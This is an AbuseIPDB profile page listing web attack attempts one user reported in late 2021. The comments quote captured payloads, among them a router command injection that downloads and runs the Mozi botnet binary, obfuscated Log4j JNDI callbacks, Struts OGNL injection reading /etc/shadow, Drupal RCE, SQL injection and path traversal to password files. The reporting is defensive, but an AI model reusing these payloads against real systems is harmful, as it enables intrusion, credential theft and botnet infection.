AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User khadeeja joined AbuseIPDB in May 2021 and has reported 43 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇺🇸 143.198.107.12	21 Dec 2021	143.198.107.12: apikey='UNION select 1, 'YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1R JVkVfRE ... show more 143.198.107.12: apikey='UNION select 1, 'YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1R JVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=';\r \nAccept-Encoding: gzip\r\n after decoding apikey='UNION select 1, a:2:{s:3:"uid";s:4:"-100";s:22:"ACTIVE_DIRECTORY_INDEX";s:1:"1";};\r \nAccept-Encoding: gzip\r\n show less	Web App Attack
🇩🇪 45.83.67.228	17 Dec 2021	45.83.67.228: ser-Agent: ${${::-j}ndi:dns://45.83.64.1/securityscan-zuom2o7c5oqvjuo2}\r\	Web App Attack
🇩🇪 45.83.64.87	17 Dec 2021	log4j with bypassing method	Web App Attack
🇸🇬 47.241.208.155	17 Dec 2021	log4j	Web App Attack
🇺🇦 31.131.16.127	17 Dec 2021	call back log4j server	Web App Attack
🇨🇳 115.48.203.253	15 Dec 2021	XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://115.48.203.253:60662/Mozi. ... show more XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://115.48.203.253:60662/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0 show less	Web App Attack
🇮🇳 103.75.173.9	15 Dec 2021	103.75.173.9: POST /cgi-bin/../../../../bin/sh HTTP/1.1 {(#instancemanager=#application["org.ap ... show more 103.75.173.9: POST /cgi-bin/../../../../bin/sh HTTP/1.1 {(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/shadow")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} show less	Web App Attack
🇨🇦 159.203.29.42	15 Dec 2021	X-Forwarded-For: ${jndi:${lower:l}${lower:d}a${lower:p}://xf.world80.log4j.bin${upper:a}ryedge.io:80 ... show more X-Forwarded-For: ${jndi:${lower:l}${lower:d}a${lower:p}://xf.world80.log4j.bin${upper:a}ryedge.io:80/callback}, log4j show less	Web App Attack
🇩🇪 167.71.45.245	13 Dec 2021	GET /.env	Web App Attack
🇳🇱 45.83.193.150	13 Dec 2021	log4j call back server	Web App Attack
🇩🇪 45.83.64.1	13 Dec 2021	log4j call back server	Web App Attack
🇦🇺 139.99.130.188	12 Dec 2021	GET /.env	Web App Attack
🇺🇸 167.172.17.216	28 Nov 2021	GET /nice ports,/Trinity.txt.bak HTTP/1.0	Web App Attack
🇺🇸 69.165.73.192	28 Nov 2021	Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('90q3m7 ... show more Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('90q3m7kv','1')}.multipart/form-data show less	Web App Attack
🇺🇸 104.168.204.246	25 Nov 2021	GET /.vscode/sftp.json HTTP/1.1	Web App Attack
🇳🇱 45.134.20.48	24 Nov 2021	POST /cgi-bin/../../../../../bin/bash HTTP/1.1 echo; echo 010 \| md5sum	Web App Attack
🇮🇱 212.29.234.181	18 Nov 2021	Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('zeoyfj ... show more Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('zeoyfjoj','1')}.multipart/form-data show less	Web App Attack
🇺🇸 18.219.16.59	09 Nov 2021	Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('g4v1ys ... show more Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('g4v1ysxt','1')}.multipart/form-data see show less	Web App Attack
🇩🇪 35.234.72.143	03 Nov 2021	GET /MySQLDumper/index.php HTTP/1.1	Web App Attack
🇩🇪 35.242.219.45	03 Nov 2021	GET /../../../../../../../../windows/win.ini HTTP/1.1	Web App Attack
🇬🇧 20.68.128.244	26 Oct 2021	./../../../../../../../../../etc/passwd	Web App Attack
🇺🇸 172.87.27.130	10 Oct 2021	needCode=aa/../../../data/mysql_error_trace POST /?q=user/password&name[#post_render][]=passthru&na ... show more needCode=aa/../../../data/mysql_error_trace POST /?q=user/password&name[#post_render][]=passthru&name[#type]= markup&name[#markup]=whoami HTTP/1.1 show less	Web App Attack
🇺🇸 75.151.88.217	28 Sep 2021	75.151.88.217: GET /HNAP1/ HTTP/1.1	Web App Attack
🇸🇬 35.240.177.252	28 Sep 2021	35.240.177.252: GET /test/wp-includes/wlwmanifest.xml HTTP/1.1	Web App Attack
🇺🇸 64.225.54.163	28 Sep 2021	GET /test/wp-includes/wlwmanifest.xml HTTP/1.1	Web App Attack